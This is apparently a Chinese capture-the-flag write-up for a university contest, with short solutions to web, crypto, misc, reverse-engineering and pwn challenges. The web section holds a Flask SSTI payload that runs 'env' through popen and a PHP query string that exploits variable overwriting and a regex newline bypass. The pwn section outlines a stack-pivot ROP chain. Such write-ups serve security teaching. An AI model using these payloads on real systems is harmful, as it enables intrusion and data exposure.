中国海洋大学信息安全竞赛 WP
Web
菜狗工具#1
源码:
from flask import * |
把这个题当成一个SSTI去做就可以了(
exp:
a="".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']("env").read() |
ezPHP
源码:
|
存在变量覆盖,把$a覆盖成想要的值绕过MD5弱比较。
接着是 !is_array($O_U_C)&&$O_U_C!=='100'&&preg_match('/^100$/',$O_U_C)
,用%0a
绕过 preg_match('/^100$/',$O_U_C)
的判断。
MD5强碰撞用数组绕过
$_COOKIE["md5"]===md5($secret.urldecode($_GET['md5']))
,因为给了md5($secret.'ouc')
,因此cookie带上这个值,$_GET['md5']
为 ouc
即可。
payload:
GET: a=QNKCDZO&b=s878926199a&O+U+C=100%0a&md5=ouc |
菜狗工具#2
源码:
from flask import * |
源码和一差不多,只不过这次是运行后源码被删除了。
参考链接: L3HCTF Just a pyjail
大致思路:
- 源码被删除,但程序运行了,内存里肯定是有源码的。
- 没有
/proc
目录,不能通过读文件的方式读内存(参考session伪造利用文件任意读取读取key) - 可以利用指针,把内存的内容读出来,但需要定位一个大致的范围,盲目读取浪费时间。
先利用栈帧逃逸到全局,后续需要用到全局的flag
的地址。
接着是利用 ctypes
模块的指针,将flag
地址周围的值读一下,实现一个从内存读源码的操作。
这里我用了char 指针,读出来的是一个字符串,再加上flag头作为判断,可以很快读出flag。
每次位移8的倍数。(可以自行对比任意两个变量的地址,可以发现它们的差值都是8的倍数)
exp:
def f(): |
贪吃蛇
wasm逆向和debug。
参考链接: WebAssembly
在线网站:wat2wasm demo
先debug,找一个吃到道具能进入debug的断点,然后一直往下找,可以看到 114514
的赋值过程
我这里是把断点打在 call $wbg.__wbg_crypto_d05b68a3572bb8ca
一直往下追,可以看到 114514
的转换代码。
修改这部分代码,然后通过在线工具把它再转回 wasm
,之后再用新的 wasm
debug。
这里我把 $var16
改成 0
loop $label8 |
编译得到wasm
,回到本地调试,先在本地用python起一个http服务
python -m http.server -b localhost |
接着访问 localhost:8000
即可得到flag
爆率真的高
通过在线网站反混淆可以得到比较简洁的源码
function _0x36f7d7() { |
通过分析,可以知道当 Math.random>= 0.9999
时,会输出flag,手动调整一下代码,即可得到flag。
var _0x36f7d7 = 'line-height:200px; padding-block:100px; padding-left:200px; background-repeat:no-repeat;background-image:url("data:image/svg+xml,%3Csvg xmlns=\'http://www.w3.org/2000/svg\' viewBox=\'0 0 200 200\'%3E%3Cstyle%3E .wrapper %7B font-family: sans-serif; perspective: 500px; text-align: center; position: relative; width: 100%25; height: 100%25; %7D .cube %7B position: absolute; top: 20%25; left: 30%25; transform-style: preserve-3d; transform: rotateY(40deg) rotateX(-40deg); animation: wiggle_wiggle_wiggle_wiggle_wiggle_yeah 3s ease-in-out infinite alternate; %7D .side %7B width: 8rem; height: 8rem; background: rgba(0, 0, 0, 0.8); display: inline-block; position: absolute; line-height: 8rem; color: %23fff; text-align: center; box-sizing: border-box; border: 3px solid %23f00; font-size: 4rem; %7D .front %7B transform: translateZ(4rem); z-index: 1; %7D .back %7B transform: rotateY(180deg) translateZ(4rem); %7D .left %7B transform: rotateY(-90deg) translateZ(4rem); z-index: 1; %7D .right %7B transform: rotateY(90deg) translateZ(4rem); %7D .top %7B transform: rotateX(90deg) translateZ(4rem); %7D .bottom %7B transform: rotateX(-90deg) translateZ(4rem); %7D @keyframes wiggle_wiggle_wiggle_wiggle_wiggle_yeah %7B 0%25 %7B transform: rotateY({a}deg) rotateX(-{a}deg); %7D 100%25 %7B transform: rotateY({b}deg) rotateX(-{b}deg); %7D %7D %3C/style%3E%3CforeignObject width=\'100%25\' height=\'100%25\'%3E%3Cdiv xmlns=\'http://www.w3.org/1999/xhtml\' class=\'wrapper\'%3E%3Cdiv class=\'cube\'%3E%3Cdiv class=\'side front\'%3E1%3C/div%3E%3Cdiv class=\'side back\'%3E2%3C/div%3E%3Cdiv class=\'side left\'%3E3%3C/div%3E%3Cdiv class=\'side right\'%3E4%3C/div%3E%3Cdiv class=\'side top\'%3E5%3C/div%3E%3Cdiv class=\'side bottom\'%3E6%3C/div%3E%3C/div%3E%3C/div%3E%3C/foreignObject%3E%3C/svg%3E")||line-height:50px; padding-left:500px; background-repeat:no-repeat;background-image:url("data:image/svg+xml,%3Csvg xmlns=\'http://www.w3.org/2000/svg\'%3E %3Cpath id=\'path1394\' style=\'fill:none%3Bstroke:%23000000%3Bstroke-width:0.264583px%3Bstroke-linecap:butt%3Bstroke-linejoin:miter%3Bstroke-opacity:1\' d=\'m 221.50185,6.5147602 3.99292,2.94215 0.4203,14.0802888 3.78277,2.521842 -3.78277,2.731996 -0.21015,14.500595 -3.99292,2.942151 m -75.76812,-32.68897 -0.18289,26.152093 4.20628,-0.18288 0.18289,-0.365766 m 39.51762,-10.582347 v 7.863917 l 2.19458,2.926109 h 8.04679 l 2.74323,-3.108992 -0.36576,-7.498151 -1.82882,-3.474754 -8.22968,-0.182882 z m 17.49855,11.609045 -0.18288,-12.070196 2.56034,-3.840517 6.76663,0.182882 2.37746,3.474755 0.18288,12.253076 v 0 M 79.249122,29.337219 v 7.863917 l 2.19458,2.926109 h 8.04679 l 2.74323,-3.108992 -0.36576,-7.498151 -1.82882,-3.474754 -8.22968,-0.182882 z m 106.868818,-7.460739 -10.0585,0.731527 -3.10899,7.315272 0.73153,5.852215 2.74322,3.108989 8.77833,0.182883 0.73152,-0.182883 m -29.84386,-8.105803 8.77833,-0.365762 2.0117,-2.743227 -2.37747,-3.291872 h -8.9612 l -2.19458,4.0234 0.18288,7.863914 3.29187,2.560347 8.0468,-0.365766 m -36.86029,-9.455308 v 7.863917 l 2.19458,2.926109 h 8.04679 l 2.74323,-3.108992 -0.36576,-7.498151 -1.82882,-3.474754 -8.22968,-0.182882 z m -5.20252,-3.51165 -7.58959,-0.182882 -2.28602,3.931959 V 32.0765 l 8.86976,0.182882 1.5545,1.554493 -0.27433,4.206283 -1.46305,2.377461 -8.32112,0.09144 h 0.4572 m -17.006391,0.457205 -0.18288,-12.070196 2.56034,-3.840517 6.766631,0.182882 2.37746,3.474755 0.18288,12.253076 v 0 m -32.373283,-17.720279 -10.058498,0.731527 -3.108989,7.315272 0.731526,5.852215 2.743226,3.108989 8.778325,0.182883 0.731528,-0.182883 m -15.544951,1.645936 0.731528,0.365766 -4.0234,-2.926109 L 56.87623,24.689039 53.401478,22.128694 57.607759,18.836823 57.241995,6.5837438 59.985222,3.4747537 m -17.008004,34.0160083 8.961204,-0.18288 v 0 m -8.961204,0.18288 -0.182883,-10.058495 9.144087,-0.182883 v 22.860222 h -8.961204 l 0.548645,-0.365765 H 43.34298 m -15.54495,-27.98091 5.852215,-0.182882 0.182883,16.276478 m -0.365763,-10.790025 -7.13239,0.182882 V 38.22229 l 12.43596,-0.365763 V 37.490762 M 19.202586,12.43596 l -0.182882,26.152093 4.206281,-0.18288 0.182882,-0.365766 M 14.996305,12.618842 H 10.241379 L 10.058498,38.039407 5.8522165,37.856527 M 3.8405173,22.67734 15.910714,22.494458\' %2F%3E %3C%2Fsvg%3E")||console.log||console.clear||Math.random||Math.floor||setTimeout'; |
Crypto
NeXT RSA
源码:
import sympy |
p,q很接近,用 yafu 分解得到p和q即可解出flag。
import gmpy2 |
Base64*rot13
CyberChef
梭了。
模!
源码:
from math import factorial |
爆破每一位即可。
from math import factorial |
Misc
一眼盯帧
仔细看视频,发现视频在有些帧里面藏了东西。先把特殊的帧提取出来。
import cv2 |
之后得到62张藏有算式的图片,把图片上的文字提取出来。
import easyocr |
提取出来的文字并不完全正确,部分0识别成8了,手动修正,只需要检查0对不对。
因为有31个未知数,至少检查31个算式即可,我这里检查了32个,方便校错。
40 * a1 + 42 * a2 + 69 * a3 + 91 * a4 + 91 * a5 + 74 * a6 + 45 * a7 + 49 * a8 + 99 * a9 + 41 * a10 + 79 * a11 + 26 * a12 + 51 * a13 + 74 * a14 + 84 * a15 + 31 * a16 + 74 * a17 + 11 * a18 + 87 * a19 + 76 * a20 + 26 * a21 + 40 * a22 + 13 * a23 + 31 * a24 + 39 * a25 + 7 * a26 + 84 * a27 + 65 * a28 + 25 * a29 + 88 * a30 + 13 * a31 == 159700 |
之后将得到的算式用 z3
求解出结果,再用 chr
转换并拼接起来即可得到flag。
res = open('yes.txt','r').read().strip() |
帕鲁服务器
一和二是一起做的(
先用火眼把恶意软件提取出来。
根据创建时间判断出恶意程序。
ida分析,看到一个类似flag的字符串。
这是 帕鲁服务器#2 的flag。
再接着分析:
这部分代码对v4做了个异或,猜测是 帕鲁服务器#1 flag,写个脚本解出来。
|
过去的CD
题目给了一个nrg
文件,用软碟通
查看,发现有一个 wav
音频,提取出来。
用 Audacity
查看音频,选择 音高
,发现音频只有上下两种状态,且间隔比较固定,猜测是二进制。
根据上为1,下为0,以第一个下的宽度为固定间隔,把音频转成1和0。(手动转换)
01100110001101101000011011100110110111100100011010100110110011000000111011111010010001101111011000001100000011101111101001000110110011001010011000001110101111100101000011 |
最后把二进制转成字符即可得到flag。
RE
xor++
分析:
就一个异或,每次异或后v8++
|
钩子
ida硬找(
发现这里实现了一个rc4加密,猜测这里能出flag。
把key和密文扒下来,解密即可得到flag。
|
睡_Lite
文件名是 sleep_lite.ino.with_bootloader.standard.hex
,了解了一下是固件的hex文件。
ida分析,模式全都试一遍,直到能看到函数反编译出来。
选择 AVR
模式,能看到有函数反编译出来了。
稍微看一下,F5
不能用,但可以发现sub_48
被多次调用,结合题意,猜测这是sleep
函数。
接着就找 call
之前的操作,发现了字符。
把这些字符收集起来,即可得到flag。
flag{dEl4y_n0_MoR3} |
Pwn
摩登Pwn
分析
发送一个0x80000000
即可达成条件,需要转成10进制
baby_stack
栈迁移,前面有很大一串内存地址可以存放rop链,通过第一个输入点可以带出old_rbp,相当于可以通过计算偏移知道我们写入的rop链在栈上的那个位置,这样就不用去爆破了。开了沙箱,orw读flag。
from pwn import * |